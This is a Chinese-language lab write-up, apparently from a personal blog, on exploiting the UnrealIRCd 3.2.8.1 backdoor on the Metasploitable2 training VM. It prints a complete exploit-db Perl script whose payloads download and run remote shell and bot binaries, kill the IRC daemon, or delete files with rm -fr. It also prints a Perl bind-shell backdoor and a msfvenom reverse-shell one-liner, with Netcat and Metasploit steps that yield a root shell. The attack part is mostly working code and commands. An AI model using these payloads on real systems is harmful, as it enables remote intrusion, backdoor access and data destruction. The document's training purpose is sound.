Metasploitable2系列练习-漏洞利用之UnrealIRCd

上一篇学习了一下漏洞利用过程中的一些信息收集的准备工作,扫描了一下Metasploitable2的主机,发现好多开放的端口,从今天开始一个一个学习一下试一下能不能利用这些端口来进行一些渗透工作,一直学习就好了。

什么是UnrealIRCd

UnrealIRCd是一款基于 C++ 的开源 IRCD 服务端应用

IRC 一种基于网络的群体聊天方式。可以进行群体聊天也可以进行个人对个人的单独聊天。这种起源于上世纪的聊天技术在当时被很多网友追捧。可惜经过网络信息交流方式日新月异的变化,逐渐被各类聊天软件所淘汰。
IRC具有分布式的客户端/服务器结构。用户通过IRC软件连接并登录到到一个IRC服务器,可以访问这个服务器以及它所连接的其他服务器上的频道。 选择相应的聊天频道,既可以开始广播式的群里聊天。也可对频道中单独的用户发起聊天。

信息收集

nmap扫描

扫描结果如下:

可以看到,有两个关于 Unreal IRCd 的开放端口,分别为 6667 和 6697

使用hexchat IRC客户端连接IRC Server

安装客户端:sudo apt install -y hexchat

太慢的话建议更换kali 源,编辑 /etc/apt/sources.list,注释掉原本的国外源,改用清华或者阿里的源:

1
2
3
4
5
6
7
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib

#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free

安装完成后开启hexchat,添加一个 Metasploitable 2这个服务器:

关闭窗口之后点击连接按钮,我们就成功连接到了服务器:

在这里我们可以看到version Unreal3.2.8.1,下面我们可以去searchsploit 和 exploit-db 里进行查询评估,看看这个版本的 Unreal IRC 是否存在可被利用的漏洞

Unreal IRCd 3.2.8.1 漏洞评估

Searchsploit

kali里面使用如下命令:searchsploit unreal ircd 3.2.8.1

可以看出该版本有三个可利用漏洞:

  • 后门漏洞可在 Metasploit 上利用的 Ruby exploit
  • 本地溢出可造成DOS拒绝服务的 exploit ,但它只适用于 windows ,因此不适用我们的目标 Metasploitable 2
  • 远程下载和执行 Perl 脚本木马

漏洞利用

手动分析利用

查看payloads脚本内容:

cat /usr/share/exploitdb/exploits/linux/remote/13853.pl

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/perl
# Unreal3.2.8.1 Remote Downloader/Execute Trojan
# DO NOT DISTRIBUTE -PRIVATE-
# -iHaq (2l8)

use Socket;
use IO::Socket;

## Payload options
my $payload1 = 'AB; cd /tmp; wget http://packetstormsecurity.org/groups/synnergy/bindshell-unix -O bindshell; chmod +x bindshell; ./bindshell &';
my $payload2 = 'AB; cd /tmp; wget http://efnetbs.webs.com/bot.txt -O bot; chmod +x bot; ./bot &';
my $payload3 = 'AB; cd /tmp; wget http://efnetbs.webs.com/r.txt -O rshell; chmod +x rshell; ./rshell &';
my $payload4 = 'AB; killall ircd';
my $payload5 = 'AB; cd ~; /bin/rm -fr ~/*;/bin/rm -fr *';
##Payload 1:使用 wget 下载和绑定一个 shell,并保存文件为 bindshell,赋予其执行权限,并进行执行。
##Payload 2:下载一个名为 bot 的文件,我们只能猜测它的选项到底是什么。
##Payload 3:下载一个文件,并保存为 rshell 。设置正确的权限,并执行文件。我们只能猜测,下载的有效载荷是一个反向的 shell 。
##Payload 4:停止 Unreal IRCD 服务。
##Payload 5:从服务器上删除 Unreal IRCD 服务。

##继续进行下一个代码块的分析,它是进行参数的检索及验证的,并打印其使用的相关信息在控制台上。

$host = "";
$port = "";
$type = "";
$host = @ARGV[0];
$port = @ARGV[1];
$type = @ARGV[2];

if ($host eq "") { usage(); }
if ($port eq "") { usage(); }
if ($type eq "") { usage(); }

sub usage {
printf "\nUsage :\n";
printf "perl unrealpwn.pl <host> <port> <type>\n\n";
printf "Command list :\n";
printf "[1] - Perl Bindshell\n";
printf "[2] - Perl Reverse Shell\n";
printf "[3] - Perl Bot\n";
printf "-----------------------------\n";
printf "[4] - shutdown ircserver\n";
printf "[5] - delete ircserver\n";
exit(1);
}
##头 3 行设置了三个初始化为空的变量,分别为 host, port 和 type ,接着它们被分别赋予了变量值。下面开始判断这 3 个变量是否为空值,如果为空则执行 usage 函数。这将会退出脚本的执行,因为最后一行代码为 exit(1),即程序发生错误则退出执行。在使用说明中,我们可以看到,有 5 种不同的类型的 payload 可以用来利用这个漏洞。并且分别做了相应的号码排序。当我们仔细查看以上脚本内容,我们可以发现,类型 2 的 payload 和类型 3 的 payload 进行了切换

sub unreal_trojan {
my $ircserv = $host;
my $ircport = $port;
my $sockd = IO::Socket::INET->new (PeerAddr => $ircserv, PeerPort => $ircport, Proto => "tcp") || die "Failed to connect to $ircserv on $ircport ...\n\n";
print "[+] Payload sent ...\n";
if ($type eq "1") {
print $sockd "$payload1";
} elsif ($type eq "2") {
print $sockd "$payload2";
} elsif ($type eq "3") {
print $sockd "$payload3";
} elsif ($type eq "4") {
print $sockd "$payload4";
} elsif ($type eq "5") {
print $sockd "$payload5";
} else {
printf "\nInvalid Option ...\n\n";
usage();
}
close($sockd);
exit(1);
}
##在这个代码块中对应的 payload 分别进行执行,类型 1 执行 payload 1, 类型 2 执行 payload 2 等
unreal_trojan();
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#!/usr/bin/perl 
# *** Synnergy Networks
# * Description:
# # Remote unix shell backdoor.
# * Author: # # headflux (hf@synnergy.net) # Synnergy Networks (c) 1999, http://www.synnergy.net
# * Usage:
# remote.com$ ./nohup bindshell.pl &
# remote.com$ exit
# Connection closed by foreign host
# localhost$ telnet remote.com 60000
# Trying 192.168.1.1...
# Connected to remote.com.
# Escape character is '^]'.
# (user@remote.com:/home/user/)
# cat /etc/passwd; etc
# *** Synnergy Networks use Socket;
$port = 60000; $proto = getprotobyname('tcp'); $cmd = "lpd"; $system = 'echo "(`whoami`@`uname -n`:`pwd`)"; /bin/sh'; $0 = $cmd; socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!"; setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!"; bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!"; listen(SERVER, SOMAXCONN) or die "listen: $!"; for(; $paddr = accept(CLIENT, SERVER); close CLIENT) { open(STDIN, ">&CLIENT"); open(STDOUT, ">&CLIENT"); open(STDERR, ">&CLIENT"); system($system); close(STDIN); close(STDOUT); close(STDERR); }

修改 Unreal IRCD 3.2.8.1 exploit

因为我们不能控制它下载了一个什么payload,所以我们可以修改payload以取得有效控制:

  1. 使用 msfvenom 生成一个 reverse shell payload。
  2. 修改 exploit 代码。
  3. 使用 Netcat 获取一个 reverse shell。

当前的 Perl 脚本的一个主要缺点是,它依赖于成功的利用及执行 wget 命令才能成功下载。因此,如果 wget 命令不在目标主机上,则会利用失败。下面将使用 msfvenom 生成一个 Perl 脚本的 payload 摆脱这种依赖和不可控性。命令如下:

msfvenom -p cmd/unix/reverse_perl LHOST=192.168.52.134 LPORT=4444 -f raw

1
perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(PeerAddr,"192.168.52.134:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'

替换掉原本的payload,注意单引号用反斜线转义。

然后使用Netcat开启一个侦听:nc -lvp 4444

然后执行exploit:perl 13853.pl [target IP] [port] 1

我们就获取一个反向shell,并且是root权限:

Metasploit Unreal IRCD 3.2.8.1 漏洞自动利用

启动 msfconsole ,并搜索 Unreal IRCD 相关利用模块:

使用选中模块:use exploit/unix/irc/unreal_ircd_3281_backdoor

查看可用 payloads : show payloads

选一个payload:set payload cmd/unix/reverse_perl

查看并配置相关选项:

show options
set rhost [target ip]
set lhost [attack ip]

最后执行exploit:run

成功获取到了一个root权限的shell!


Metasploitable2系列练习-漏洞利用之UnrealIRCd
https://chujian521.github.io/blog/2020/04/28/Metasploitable2系列练习-漏洞利用之UnrealIRCd/
作者
Encounter
发布于
2020年4月28日
许可协议